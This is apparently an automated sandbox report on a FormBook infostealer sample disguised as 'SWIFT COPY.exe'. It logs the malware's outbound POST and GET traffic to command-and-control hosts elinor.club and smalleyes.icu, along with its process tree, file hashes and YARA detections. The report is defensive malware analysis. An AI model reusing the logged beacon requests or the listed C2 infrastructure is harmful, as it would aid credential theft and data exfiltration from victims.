Dec 19, 2024 08:41:18.788994074 CET	341	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 19 Dec 2024 07:41:18 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: http://elinor.club/1ne4/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49831	194.58.112.174	80	6016	C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:41:20.147219896 CET	823	OUT	POST /1ne4/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.elinor.club Origin: http://www.elinor.club Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 219 Cache-Control: no-cache Referer: http://www.elinor.club/1ne4/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; en-us; SAMSUNG SM-N910T Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/2.0 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 49 72 3d 61 6b 33 62 41 61 73 75 7a 51 54 78 46 45 59 4e 70 4a 56 61 4b 59 45 49 57 2f 67 7a 64 62 64 48 67 46 35 47 31 7a 4d 36 38 4e 39 49 43 72 6e 41 75 67 61 4e 79 44 4d 56 66 4f 35 58 56 6c 51 4f 49 49 6b 75 5a 53 68 57 30 56 45 76 72 79 36 6e 35 55 52 6d 33 52 5a 70 38 61 2b 79 36 54 4c 6c 31 45 43 79 4a 4b 71 7a 2b 39 67 49 46 7a 71 72 47 56 39 41 67 61 37 4c 4e 55 37 47 61 33 32 70 42 33 48 38 4b 55 4d 70 65 45 73 64 49 35 6d 57 6e 42 52 64 73 38 4d 37 33 63 59 73 48 55 68 66 48 4d 6a 30 66 78 67 43 56 49 32 39 5a 67 38 4e 48 4f 59 65 2b 55 44 62 62 63 35 6e 7a 4b 67 44 61 79 52 6e 43 53 55 2f 56 63 7a 48 39 44 54 4e 34 65 4a 31 59 76 51 3d Data Ascii: Ir=ak3bAasuzQTxFEYNpJVaKYEIW/gzdbdHgF5G1zM68N9ICrnAugaNyDMVfO5XVlQOIIkuZShW0VEvry6n5URm3RZp8a+y6TLl1ECyJKqz+9gIFzqrGV9Aga7LNU7Ga32pB3H8KUMpeEsdI5mWnBRds8M73cYsHUhfHMj0fxgCVI29Zg8NHOYe+UDbbc5nzKgDayRnCSU/VczH9DTN4eJ1YvQ=
Dec 19, 2024 08:41:21.459768057 CET	341	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 19 Dec 2024 07:41:21 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: http://elinor.club/1ne4/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49836	194.58.112.174	80	6016	C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:41:22.853152990 CET	10905	OUT	POST /1ne4/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.elinor.club Origin: http://www.elinor.club Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 10299 Cache-Control: no-cache Referer: http://www.elinor.club/1ne4/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; en-us; SAMSUNG SM-N910T Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/2.0 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 49 72 3d 61 6b 33 62 41 61 73 75 7a 51 54 78 46 45 59 4e 70 4a 56 61 4b 59 45 49 57 2f 67 7a 64 62 64 48 67 46 35 47 31 7a 4d 36 38 4e 31 49 44 5a 66 41 76 44 79 4e 7a 44 4d 56 44 2b 35 4b 56 6c 52 57 49 4c 56 6c 5a 53 64 73 30 58 4d 76 72 58 75 6e 2f 68 39 6d 2b 52 5a 70 6a 71 2b 2f 2b 54 4c 77 31 45 79 2b 4a 4c 47 7a 2b 39 67 49 46 78 69 72 47 45 39 41 69 61 37 45 4d 55 37 61 52 58 32 42 42 33 76 73 4b 55 59 66 66 30 4d 64 4a 5a 32 57 33 69 35 64 75 63 4d 35 32 63 59 30 48 55 39 51 48 4d 2b 46 66 79 38 73 56 4f 4b 39 61 56 73 58 59 75 6f 2f 74 30 72 48 50 4d 35 79 2f 59 46 45 62 42 4a 2b 54 6e 63 46 4f 74 32 73 7a 55 69 79 71 4d 70 72 42 35 64 72 46 59 53 6c 71 48 65 4d 38 32 7a 42 49 67 33 4d 73 4d 41 73 4e 31 63 67 53 37 48 73 32 35 36 55 4f 36 68 75 33 2f 4c 52 71 78 55 75 50 42 42 6f 42 57 64 65 2f 69 75 65 51 69 39 4f 4c 6b 38 58 69 38 51 43 45 49 32 37 5a 57 48 41 50 46 36 48 4d 77 70 56 49 41 36 6c 66 66 79 2b 52 70 71 51 4c 39 51 4f 63 45 49 77 32 71 47 4f 36 4f 38 55 75 4b 74 66 48 78 4d [TRUNCATED] Data Ascii: Ir=ak3bAasuzQTxFEYNpJVaKYEIW/gzdbdHgF5G1zM68N1IDZfAvDyNzDMVD+5KVlRWILVlZSds0XMvrXun/h9m+RZpjq+/+TLw1Ey+JLGz+9gIFxirGE9Aia7EMU7aRX2BB3vsKUYff0MdJZ2W3i5ducM52cY0HU9QHM+Ffy8sVOK9aVsXYuo/t0rHPM5y/YFEbBJ+TncFOt2szUiyqMprB5drFYSlqHeM82zBIg3MsMAsN1cgS7Hs256UO6hu3/LRqxUuPBBoBWde/iueQi9OLk8Xi8QCEI27ZWHAPF6HMwpVIA6lffy+RpqQL9QOcEIw2qGO6O8UuKtfHxMQeI05kv0CVLB6CbDpAminx4on/sI0MlheijoBz/bqbXkewTkhybHb0Y0+eqt2qITXnGrAaJJgePopWzRvXzlNLSdyDI4Ispc6aFohaJCzL2BKUbnlhpxhQNN4LtsSxA8PZ/r8AujsxIo7ilF3v0AnuLzX8GnQXp1mYTCiUxRSfEFT9S/n8BjmY/nf5bXoovdsm+kfVLqY/Yj2QoDm4nD8Cr0BNoo7LrWKnKw8ghoeeNQIG8ySn7ZcLkodxaPkd12Q6MzVJ3w8TncIsq0oL6c54688hjoMjNCxxtJQ7rniZPc5hTV9KgGQnW5OWeuR8bDlKlR1w0W+n/o4eJiHSyRbLiJy2qjxPQNvrj6LRbB2vAa/0L7qWOGa5stcBIc8t1kAu4i6KELAosmSQ4xp36MeCEX0U9JPklX02dy6DZRIf9CIwr89xyYRDXiLKLQwlVabZxbCheNbJsifU8h5c6j+LD3DE8yrFxzzxvzhquyMrWEB/Hwer/Nt9Ya/9vA6EI0Rf8yssooMaq6zTJFmnhaCNR8RLxmG/jtmgYkAtKHYNgtFaNm/+0OTh6RpcLrMnQTvslfjBnrTq31VclXjgtXOo5KtXML9L1kpzupsis6L//BZJ8M5++JZq4Rynfi5vxcJ13oRfGaqf4YUMPjE3CR2LzqF+wVNGRzKa [TRUNCATED]
Dec 19, 2024 08:41:24.143435001 CET	341	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 19 Dec 2024 07:41:23 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: http://elinor.club/1ne4/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49845	194.58.112.174	80	6016	C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:41:25.516135931 CET	541	OUT	GET /1ne4/?Ir=Xmf7DtAQ/BnKPHUir9F/DJAWe/lobbRTq1FD1Ek4pNpfKYXlmyGrxyMDIrQcVSlaQ+EmZyFY/HlqglCDghJI5jUfoqKY7Fz8p0/9FqW//8AiMTO0G3RJpL4=&M8Gl=KPotmx2p0n HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.elinor.club Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; en-us; SAMSUNG SM-N910T Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/2.0 Chrome/34.0.1847.76 Mobile Safari/537.36
Dec 19, 2024 08:41:26.834894896 CET	481	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 19 Dec 2024 07:41:26 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: http://elinor.club/1ne4/?Ir=Xmf7DtAQ/BnKPHUir9F/DJAWe/lobbRTq1FD1Ek4pNpfKYXlmyGrxyMDIrQcVSlaQ+EmZyFY/HlqglCDghJI5jUfoqKY7Fz8p0/9FqW//8AiMTO0G3RJpL4=&M8Gl=KPotmx2p0n Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49863	134.122.191.187	80	6016	C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:41:32.949417114 CET	809	OUT	POST /s6zh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.smalleyes.icu Origin: http://www.smalleyes.icu Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 199 Cache-Control: no-cache Referer: http://www.smalleyes.icu/s6zh/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; en-us; SAMSUNG SM-N910T Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/2.0 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 49 72 3d 36 6e 6e 37 58 38 4c 48 4d 66 5a 56 49 57 2f 53 6b 75 4d 37 69 36 50 6d 46 64 57 31 4e 33 35 41 6a 50 4e 71 63 61 53 66 61 46 57 38 53 33 68 72 53 64 75 53 76 78 2f 45 54 6e 74 55 71 53 62 35 4d 43 42 72 70 34 78 66 6c 56 62 70 4e 35 76 47 36 44 46 56 4f 2f 39 4c 45 44 6d 46 74 37 55 4f 35 6b 34 36 41 4f 71 4f 2b 49 46 68 4e 69 53 6d 6b 35 6b 49 45 51 58 4c 38 52 65 6d 75 4b 43 30 52 6e 4b 6c 57 2f 6a 6c 63 69 6b 35 47 72 78 59 74 45 5a 34 50 56 78 45 6a 62 7a 4c 6c 50 43 71 75 55 6d 49 51 50 57 53 6a 73 37 76 68 49 71 4a 32 70 53 33 79 33 6b 46 37 55 76 4b 69 31 48 70 76 67 3d 3d Data Ascii: Ir=6nn7X8LHMfZVIW/SkuM7i6PmFdW1N35AjPNqcaSfaFW8S3hrSduSvx/ETntUqSb5MCBrp4xflVbpN5vG6DFVO/9LEDmFt7UO5k46AOqO+IFhNiSmk5kIEQXL8RemuKC0RnKlW/jlcik5GrxYtEZ4PVxEjbzLlPCquUmIQPWSjs7vhIqJ2pS3y3kF7UvKi1Hpvg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49869	134.122.191.187	80	6016	C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:41:35.608900070 CET	829	OUT	POST /s6zh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.smalleyes.icu Origin: http://www.smalleyes.icu Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 219 Cache-Control: no-cache Referer: http://www.smalleyes.icu/s6zh/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; en-us; SAMSUNG SM-N910T Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/2.0 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 49 72 3d 36 6e 6e 37 58 38 4c 48 4d 66 5a 56 4f 31 6e 53 6d 4a 67 37 7a 61 50 70 4b 39 57 31 44 58 35 45 6a 4f 78 71 63 5a 66 61 61 33 43 38 53 57 52 72 54 63 75 53 73 78 2f 45 63 48 74 52 6c 79 62 32 4d 43 46 4e 70 35 39 66 6c 56 2f 70 4e 34 66 47 36 77 64 4b 55 50 39 4a 43 44 6d 48 6a 62 55 4f 35 6b 34 36 41 4f 75 67 2b 4f 74 68 4e 52 4b 6d 32 73 51 4c 48 51 58 49 72 68 65 6d 71 4b 43 77 52 6e 4b 48 57 36 66 4c 63 68 4d 35 47 72 42 59 74 32 68 37 47 56 77 50 75 37 79 4b 31 2f 6d 75 69 57 62 2b 54 63 7a 33 6f 64 57 58 6b 4f 6e 54 6e 59 7a 67 67 33 41 32 6d 54 6d 2b 76 32 36 67 30 6e 4d 6e 2b 47 2b 63 45 55 4a 34 54 33 2f 69 42 61 71 5a 71 6b 55 3d Data Ascii: Ir=6nn7X8LHMfZVO1nSmJg7zaPpK9W1DX5EjOxqcZfaa3C8SWRrTcuSsx/EcHtRlyb2MCFNp59flV/pN4fG6wdKUP9JCDmHjbUO5k46AOug+OthNRKm2sQLHQXIrhemqKCwRnKHW6fLchM5GrBYt2h7GVwPu7yK1/muiWb+Tcz3odWXkOnTnYzgg3A2mTm+v26g0nMn+G+cEUJ4T3/iBaqZqkU=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49875	134.122.191.187	80	6016	C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:41:38.284279108 CET	10911	OUT	POST /s6zh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.smalleyes.icu Origin: http://www.smalleyes.icu Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 10299 Cache-Control: no-cache Referer: http://www.smalleyes.icu/s6zh/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; en-us; SAMSUNG SM-N910T Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/2.0 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 49 72 3d 36 6e 6e 37 58 38 4c 48 4d 66 5a 56 4f 31 6e 53 6d 4a 67 37 7a 61 50 70 4b 39 57 31 44 58 35 45 6a 4f 78 71 63 5a 66 61 61 33 36 38 53 6b 4a 72 54 37 53 53 74 78 2f 45 43 58 74 51 6c 79 62 52 4d 47 68 4a 70 35 68 70 6c 58 33 70 4e 66 33 47 38 42 64 4b 42 66 39 4a 41 44 6d 47 74 37 56 47 35 6b 6f 6d 41 4f 2b 67 2b 4f 74 68 4e 55 47 6d 6d 4a 6b 4c 42 51 58 4c 38 52 65 79 75 4b 43 59 52 6b 36 74 57 37 72 31 66 52 73 35 44 2f 6c 59 39 54 31 37 4e 56 77 4e 67 62 7a 5a 31 2f 62 77 69 57 58 49 54 64 57 63 6f 65 4b 58 70 35 69 59 36 61 72 6b 7a 57 45 53 6b 68 43 68 32 46 4f 32 79 57 6b 42 32 48 71 77 52 32 56 41 51 30 72 73 45 37 36 6a 77 6b 68 52 75 78 58 54 6d 62 56 53 6d 42 53 36 50 37 45 6f 32 45 4b 36 42 4e 6f 53 46 34 38 62 51 2b 69 74 54 37 44 46 54 64 4b 66 30 59 4b 45 6c 49 43 6d 6d 75 62 56 59 74 79 66 48 35 37 64 56 4c 32 47 59 69 6c 52 36 32 46 4a 46 2b 48 34 48 34 49 78 79 51 31 4d 47 67 49 5a 61 66 48 67 70 52 2f 6c 54 63 54 35 38 47 7a 78 7a 53 79 33 37 5a 73 4c 64 62 66 6d 62 79 34 [TRUNCATED] Data Ascii: Ir=6nn7X8LHMfZVO1nSmJg7zaPpK9W1DX5EjOxqcZfaa368SkJrT7SStx/ECXtQlybRMGhJp5hplX3pNf3G8BdKBf9JADmGt7VG5komAO+g+OthNUGmmJkLBQXL8ReyuKCYRk6tW7r1fRs5D/lY9T17NVwNgbzZ1/bwiWXITdWcoeKXp5iY6arkzWESkhCh2FO2yWkB2HqwR2VAQ0rsE76jwkhRuxXTmbVSmBS6P7Eo2EK6BNoSF48bQ+itT7DFTdKf0YKElICmmubVYtyfH57dVL2GYilR62FJF+H4H4IxyQ1MGgIZafHgpR/lTcT58GzxzSy37ZsLdbfmby4R+Fa3Y+AVnQqEnkMXI9pQRMZmiPDTRVnH4n8l7YN3whthgCNhkxw3dAbMvR3cIcxvaLmFPOqNpKB726aynZiGhhb9zKnjWrnfDShDLbQKGKQnFVgPuyU3LQ2HhpjmmE2aCkHUZUcVSXUwBHCqIQDWH24O+0STXnBDOAPACGDs6tPNXt5kIYuAJT3XzYpkqo7fpqhJ3E+Oi5R1zY8rw4N2yPfuOQui7PdvhlaWz0nfBuEytHcITl/DRkvR046sySByIU9gpX9lKN2uqeMMR97MTJvsG0kFFmXV2h/FzU9GRmb+XkZWNlfPjxPtBamtmT/rHPI57SnnwyTKkEWO36KiGAEwSzs7k11EOzUWWauDivPNO9tc8zOBN8wmYostHgJgxLSwsomowI5TpUpOXY0aVnR3zmlAwc4iM+U2RvuXE4Ly1m5ECYyMVitnEGTwqvZDSKLf0jwhxz+4jDFnt3iCxCwfltSCUEcRJTNnS4uvCb3CYKiNxHHzTS1uyPQxRfj4l1oIMksECRXPpXONC4urYPftdejCnaF/1XQEC0xhNTOyc2NvlwGUFS2bPTW2KxaVoHj93COVfAjxp2qpqsKlG0lhPsy/VB39HE+7wZIwko8dPM7ircZ0sK76RaNWccGAIUIWPTwPsMWUpHzPBp46+qaxF751aTw3S [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49884	134.122.191.187	80	6016	C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:41:40.944854021 CET	543	OUT	GET /s6zh/?Ir=3lPbUJ/4EMFnMU367dk2ybPqIMylLyFhjqRifsXJf3a7S0x2d/GglTvwUDIMpGCMSyBp4aVeuGLlN5/zkDRsMKMrA2+vlNwKuHc+NKCv2NtQORSHn8saFjw=&M8Gl=KPotmx2p0n HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.smalleyes.icu Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; en-us; SAMSUNG SM-N910T Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/2.0 Chrome/34.0.1847.76 Mobile Safari/537.36

Target ID:	0
Start time:	02:39:46
Start date:	19/12/2024
Path:	C:\Users\user\Desktop\SWIFT COPY.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SWIFT COPY.exe"
Imagebase:	0x750000
File size:	986'112 bytes
MD5 hash:	180A3E0827818592194C3A46DD8E9DD7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:40:02
Start date:	19/12/2024
Path:	C:\Users\user\Desktop\SWIFT COPY.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SWIFT COPY.exe"
Imagebase:	0x750000
File size:	986'112 bytes
MD5 hash:	180A3E0827818592194C3A46DD8E9DD7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.2223687657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.2224196116.0000000000E10000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.2227839219.0000000001800000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:40:28
Start date:	19/12/2024
Path:	C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe"
Imagebase:	0xe60000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3579400562.0000000002390000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	02:40:30
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\finger.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\finger.exe"
Imagebase:	0x3c0000
File size:	13'824 bytes
MD5 hash:	C586D06BF5D5B3E6E9E3289F6AA8225E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.3579225872.0000000002C10000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.3579265567.0000000002C60000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.3578299368.0000000002870000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	02:40:44
Start date:	19/12/2024
Path:	C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\IRdZQSwOJAbvswfNOELjAqMfhfItSIUoCWqNZKUGIpPfXbRJEMvNbZIMm\XwGiOcrCkQ.exe"
Imagebase:	0xe60000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:40:56
Start date:	19/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	13.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	1.1%
Total number of Nodes:	281
Total number of Limit Nodes:	17

Executed Functions

Function 09D40040 Relevance: 15.7, Strings: 10, Instructions: 3242COMMON

Download Yara Rule

Strings

4|yq, xrefs: 09D42E28
$tq, xrefs: 09D42D00
4'tq, xrefs: 09D42CAE
4'tq, xrefs: 09D41F11
4'tq, xrefs: 09D4102B
4'tq, xrefs: 09D42CDE
4|yq, xrefs: 09D42E43
4'tq, xrefs: 09D42C53
(otq, xrefs: 09D40116
4'tq, xrefs: 09D40EA3

Memory Dump Source

Source File: 00000000.00000002.1893516515.0000000009D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d40000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: (otq$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$4|yq$4|yq$$tq
API String ID: 0-1537292367
Opcode ID: 8e4a168586e6de5c94960c3fb0be49bda9d4fd9f56a24bfc3a72a313e6732f57
Instruction ID: 3fb0a2db4d7419a319b2ef7559cbed0e38d61b591d9e40e1c2012e3b8ebc60da
Opcode Fuzzy Hash: 8e4a168586e6de5c94960c3fb0be49bda9d4fd9f56a24bfc3a72a313e6732f57
Instruction Fuzzy Hash: 11634074A44219CFCB28DF68C884A9DB7B2FF89310F158599E919AB761CB34ED81CF50

Function 09D4A594 Relevance: 6.9, Strings: 5, Instructions: 622
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hxq, xrefs: 09D4C88D
Hxq, xrefs: 09D4C94B
Hxq, xrefs: 09D4C77C
Hxq, xrefs: 09D4C6E9
Hxq, xrefs: 09D4C803

Memory Dump Source

Source File: 00000000.00000002.1893516515.0000000009D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9d40000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: Hxq$Hxq$Hxq$Hxq$Hxq
API String ID: 0-615405233
